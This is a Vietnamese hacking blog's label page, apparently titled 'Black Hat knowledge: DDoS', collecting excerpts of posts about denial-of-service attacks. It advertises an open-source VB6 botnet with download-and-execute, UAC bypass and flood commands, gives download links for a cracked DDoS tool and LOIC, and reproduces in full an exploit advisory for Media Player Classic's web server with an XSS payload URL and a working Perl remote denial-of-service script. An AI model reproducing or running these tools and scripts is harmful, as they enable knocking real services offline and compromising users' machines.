Kiến thức Black Hat: DDoS

Hàng triệu trang web WordPress và Drupal có nguy cơ bị tấn công DoS

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0JmSvjpUs3JQf_VedX9WJP7h9RBdyNtUNl-sJoIN7EwVIVHP-SfqlmEl2_t9X7z1Z6Ajnv1jMjuaAcFTVlsR51KIF3fQpRDEWkw3omXGpmV11PYR4Hhj66TYr5y6dhkSIu3Ls078Gp_-c/s1600/Hacking-drupal-wordpress.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0JmSvjpUs3JQf_VedX9WJP7h9RBdyNtUNl-sJoIN7EwVIVHP-SfqlmEl2_t9X7z1Z6Ajnv1jMjuaAcFTVlsR51KIF3fQpRDEWkw3omXGpmV11PYR4Hhj66TYr5y6dhkSIu3Ls078Gp_-c/s1600/Hacking-drupal-wordpress.jpg" width="400"></a></div> Nếu như bạn đang chạy một trang web sử dụng mã nguồn <a href="http://junookyo.blogspot.com/search/label/WordPress" target="_blank">WordPress</a> hay <a href="http://junookyo.blogspot.com/search/label/Drupal" target="_blank">Drupal</a> thì bạn nên cập nhật phiên bản mới nhất ngay lập tức. Một lỗ hổng nghiêm trọng vừa được phát hiện trong Drupal và WordPress cho phép kẻ tấn công vô hiệu hóa trang web của bạn thông qua một phương pháp được gọi là <a href="http://junookyo.blogspot.com/search/label/DDoS" target="_blank">Tấn công từ chối dịch vụ</a> (DoS). <a href="http://junookyo.blogspot.com/2014/08/hang-trieu-trang-web-wordpress-va-drupal-co-nguy-co-bi-tan-cong.html#more">ĐỌC TIẾP »</a>

Hàng triệu trang web WordPress và Drupal có nguy cơ bị tấn công DoS

Nếu như bạn đang chạy một trang web sử dụng mã nguồn WordPress hay Drupal thì bạn nên cập nhật phiên bản mới nhất ngay lập tức. Một lỗ hổn...

Mozilla Firefox Remote Denial of Service Vulnerability

Mozilla Firefox is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to make the affected computer...

[OPEN SOURCE] vnLoader - HTTP Bot - DL/Exec, Update, Visit - [UDP | HTTP Flood] [VB6]

<div style="text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS_1QmhVSiXazLCHxG0ofpbJxjdyQ3fD30nMLxsmg56b25-uESWvIcJILvS7rpGW-QtCkawroEgYHBYvCae3mfNlDns_Jw7XjAqWDoBaVAmkU1kiRfgkjbP-LdiNQsCKVt2IR7Zub6Y_77/s1600/Kraken.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS_1QmhVSiXazLCHxG0ofpbJxjdyQ3fD30nMLxsmg56b25-uESWvIcJILvS7rpGW-QtCkawroEgYHBYvCae3mfNlDns_Jw7XjAqWDoBaVAmkU1kiRfgkjbP-LdiNQsCKVt2IR7Zub6Y_77/s1600/Kraken.jpg"></a></div><div style="text-align: center;"> </div>Hey guys! I'm presenting my HTTP Bot called 'vnLoader' i was coding it about 1 year ago for a couple of months. I don't use it anymore so I gonna share this with you. It only lays around on my computer. So why not giving something to the community. About the Bot: <ul><li>Coded in VB6</li><li>Startup (of course)</li><li>Mutex (of course)</li><li>Copy & Paste UAC Bypass</li><li>Commands:<ul><li>Download & Execute</li><li>Update</li><li>Remove</li><li>Visit Website (visible/hidden)</li><li>UDP Flood > attacks random ports</li><li>HTTP Flood > if server is vulnerable to Slowloris -> Slowloris attack > else -> HTTP Get Flood</li></ul></li><li>Uses Sockets to connect!</li></ul><a href="http://junookyo.blogspot.com/2012/11/open-source-vnloader-http-bot-dlexec.html#more">ĐỌC TIẾP »</a>

[OPEN SOURCE] vnLoader - HTTP Bot - DL/Exec, Update, Visit - [UDP | HTTP Flood] [VB6]

Hey guys! I'm presenting my HTTP Bot called 'vnLoader' i was coding it about 1 year ago for a couple of months. I don't use...

DaRKDDoSeR 5.6c Cracked

Download: http://www.mediafire.com/?3abooy322o5t8r8 Pass Unlock: junookyo

Media Player Classic XSS / Denial Of Service

<pre>========================================================================================== MPC (Media Player Classic) WebServer Multiple Vulnerabilities ========================================================================================== :------------------------------------------------------------------------------------------------------------------------------------: : # Exploit Title : MPC (Media Player Classic) WebServer Multiple Vulnerabilities : # Date : 16 November 2012 : # Author : X-Cisadane : # Download : http://mpc-hc.sourceforge.net/downloads/ OR Download K-Lite Mega Codec Pack http://codecguide.com/download_mega.htm : # Version : ALL : # Category : Web Applications : # Vulnerability : XSS Vulnerability and Remote Denial of Service Vulnerability : # Tested On : Mozilla Firefox 16.0.2 (Windows XP SP 3 32-Bit English) : # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber, Winda Utari :------------------------------------------------------------------------------------------------------------------------------------: WHAT IS MPC WebServer? ====================== Media Player Classic (MPC) is a compact free software media player for Microsoft Windows. The application mimics the look and feel of the old, light-weight Windows Media Player 6.4 but uses a completely different codebase, integrating most options and features found in modern media players. Media Player Classic (MPC) WebServer is part of Media Player Classic features that is a web based Remote control. You can controlling Media Player Classic from your Web Browser. HOW TO ACTIVATE MPC WebServer? ============================== Make sure you have installed Media Player Classic or K-Lite Mega Codec Pack. Run your Media Player Classic, click 'View' Menu from the Menu Bar then choose 'Options...'. In the Options Window, choose Web Interface. Enable “Listen on port”, Disable “Allow access from localhost only”. You can change the port it listens on but that’s optional (default is 13579). Apply and click 'Launch in web browser...' Or Access it from http://localhost:13579/ OR http://IP:13579/. PIC MPC WebServer : http://i48.tinypic.com/33xfomg.png PROOF OF CONCEPT ================= [1] Non Persistent XSS (Tested On Mozilla Firefox 16.0.2) Vulnerable URL : http://IP:Port/browser.html?path=[XSS] Example : http://localhost:13579/browser.html?path=<script>alert("XSS")</script> PIC XSS : http://i45.tinypic.com/4j3uz4.png [2] Remote Denial of Service (Using Perl Script) C:\xampp\perl\bin>perl exploitmpc.pl 127.0.0.1 13579 *=============================================================* * --- MPC WebServer Remote Denial Of Service ---* * --- By : X-Cisadane ---* * --- ------------------------------------------------ ---* * --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---* * --- ---* *=============================================================* Ex : perl exploitmpc.pl 127.0.0.1 13579 Default Port for MPC Web Server is 13579 Please Wait Till Buffer is Done Attacking the Target, Please Wait Till Pwned PIC Remote DoS : http://i46.tinypic.com/15egs5j.png -------------------------------- [ Code ] -------------------------------------------- #!/usr/bin/perl use IO::Socket::INET; use Getopt::Std; use Socket; my $SOCKET = ""; $loop = 1000; $ip = $ARGV[0]; $port = $ARGV[1]; if (! defined $ARGV[0]) { print "\t*=============================================================*\n"; print "\t* --- MPC WebServer Remote Denial Of Service ---*\n"; print "\t* --- By : X-Cisadane ---*\n"; print "\t* --- ------------------------------------------------ ---*\n"; print "\t* --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---*\n"; print "\t* --- ---*\n"; print "\t*=============================================================*\n"; print "\n"; print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n"; print "Default Port for MPC Web Server is 13579\n"; exit; } print "\t*=============================================================*\n"; print "\t* --- MPC WebServer Remote Denial Of Service ---*\n"; print "\t* --- By : X-Cisadane ---*\n"; print "\t* --- ------------------------------------------------ ---*\n"; print "\t* --- Usage : perl exploitmpc.pl ( Victim IP ) ( Port ) ---*\n"; print "\t* --- ---*\n"; print "\t*=============================================================*\n"; print "\n"; print " Ex : perl exploitmpc.pl 127.0.0.1 13579\n"; print "Default Port for MPC Web Server is 13579\n"; print "\n"; print " Please Wait Till The Buffer is Done\n"; my $b1 = "\x41" x 100000000; $iaddr = inet_aton($ip) || die "Unknown host: $ip\n"; $paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n"; $proto = getprotobyname('tcp') || die "getprotobyname: $!\n"; print "\n"; print " Attacking the Target, Please Wait Till Pwned \n"; for ($j=1;$j<$loop;$j++) { socket(SOCKET,PF_INET,SOCK_STREAM, $proto) || die "socket: $!\n"; connect(SOCKET,$paddr) || die "Connection Failed: $! .........Disconnected!\n"; $DoS=IO::Socket::INET->new("$ip:$port") or die; send(SOCKET,$b1, 0) || die "failure sent: $!\n"; print $DoS "stor $b1\n"; print $DoS "QUIT\n"; close $DoS; close SOCKET; } # exit : # 1337day.com [2012-11-19] </pre>

Media Player Classic XSS / Denial Of Service

========================================================================================== MPC (Media Player Classic) WebServer Multiple Vul...

[TUT] HTTP Flood site HTML và 1 số site không cho connection = keep-alive

Cách dùng > thay user agent , thay host name thay Referer, thay random char > ném vào webhunter. 1.Thực tế nó là request của HULK dos ...

Thử nghiệm khả năng chịu tải của Website với công cụ SlowHTTPTest

Chào các bạn, hôm nay mình sẽ giới thiệu với các bạn công cụ SlowHTTPTest, bản chất công cụ này là để thực hiện một tấn công HTTP DOS nên ...

How to use SlowHTTPTest HTTP DoS Tool

Xem bài viết tiếng Việt tại đây: <blockquote class="tr_bq"><a href="http://junookyo.blogspot.com/2012/10/thu-nghiem-kha-nang-chiu-tai-cua.html" target="_blank">http://junookyo.blogspot.com/2012/10/thu-nghiem-kha-nang-chiu-tai-cua.html</a></blockquote>Introduction : Slow HTTP DoS attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. SlowHTTPTest is developed by Sergey Shekyan, Who is  Developer Web Application Scanning at Qualys. This tool is enough capable to acquire resource on server side at application layer. <a href="http://junookyo.blogspot.com/2012/10/how-to-use-slowhttptest-http-dos-tool.html#more">ĐỌC TIẾP »</a>

How to use SlowHTTPTest HTTP DoS Tool

Xem b ài vi ết ti ếng Vi ệt t ại đ ây: http://junookyo.blogspot.com/2012/10/thu-nghiem-kha-nang-chiu-tai-cua.html Introduction : Slow HTTP D...

Loic-1.0.6.35

LOIC-1.0.6.35-binary.zip Tool ddos của LulzSec

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